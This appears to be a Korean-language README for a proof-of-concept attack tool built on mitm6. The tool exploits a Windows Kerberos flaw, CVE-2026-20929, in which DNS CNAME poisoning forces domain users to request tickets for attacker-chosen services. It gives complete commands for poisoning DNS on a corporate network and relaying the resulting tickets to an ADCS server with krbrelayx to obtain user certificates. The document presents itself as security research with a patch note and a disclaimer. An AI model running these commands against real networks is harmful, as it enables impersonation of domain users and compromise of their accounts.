
Kerberos CNAME 악용 PoC
이 도구는 MITM6 도구를 기반으로 한 Kerberos CNAME 남용 릴레이 기법의 개념 증명입니다.
연구 결과 Windows Kerberos 클라이언트 동작에서 결함이 발견되었습니다: DNS CNAME 레코드가 반환되면 클라이언트는 별칭을 따라 CNAME 호스트 이름을 SPN으로 사용하여 TGS 요청을 구성합니다. 이를 통해 DNS MITM 위치에 있는 공격자는 모든 도메인 사용자가 공격자가 선택한 서비스에 대한 Kerberos 티켓을 요청하도록 강제할 수 있으며, 서명 또는 채널 바인딩이 적용되지 않은 SMB, HTTP 및 기타 서비스에 대한 주문형 교차 프로토콜 릴레이 공격이 가능합니다.
이전의 Kerberos 릴레이 기법은 컴퓨터 계정으로 제한되거나 특정 조건이 필요했던 반면, 이 방법은 기본 Windows 구성에서 사용자 계정에 대해 안정적으로 작동합니다. Microsoft는 https에 CBT를 적용하고 영향을 받는 프로토콜에 대해 기본적으로 서명을 활성화하는 패치를 적용하여 위험을 완화했습니다. 이 수정 사항은 CVE-2026-20929로 추적됩니다. 전체 기술 세부 정보, 익스플로잇 워크스루 및 영향 분석은 Cymulate 블로그 게시물을 참조하세요.
--cname-source를 사용하여 피해자가 액세스하려는 특정 도메인을 대상으로 하거나, --cname-source-all을 사용하여 모든 DNS 쿼리를 포이즈닝합니다. 두 옵션 모두 --cname이 필요하며, CNAME 응답에 사용될 대상 호스트 이름을 지정합니다(피해자는 이 호스트 이름에 대한 TGS를 요청하게 됩니다).
--only-dns 플래그는 원래 mitm6 DHCPv6 서버 및 라우터 알림 기능을 비활성화합니다. 이를 통해 CNAME 포이즈닝을 ARP 포이즈닝과 같은 다른 MITM 기술과 결합할 수 있습니다.
--passthrough 옵션은 실제 IP 주소로 확인되어야 하는 도메인이 포함된 파일을 허용합니다(형식: 줄당 domain:ip). 도메인 컨트롤러와 같은 중요 인프라에 대한 연결을 유지하는 데 유용합니다(실험적 기능).
pip install -r requirements.txt
모든 DNS 쿼리를 릴레이 대상을 가리키는 CNAME으로 포이즈닝합니다:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
특정 호스트 이름에 대한 쿼리만 포이즈닝합니다:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
DNS MITM에 ARP 포이즈닝을 사용할 때 DHCPv6/RA를 건너뜁니다:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# Terminal 1: CNAME poisoning
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# Terminal 2: Relay to ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공되는 비프로덕션 PoC입니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 본인의 책임 하에 사용하고, 명시적으로 테스트 허가를 받은 시스템에만 사용하십시오.
MIT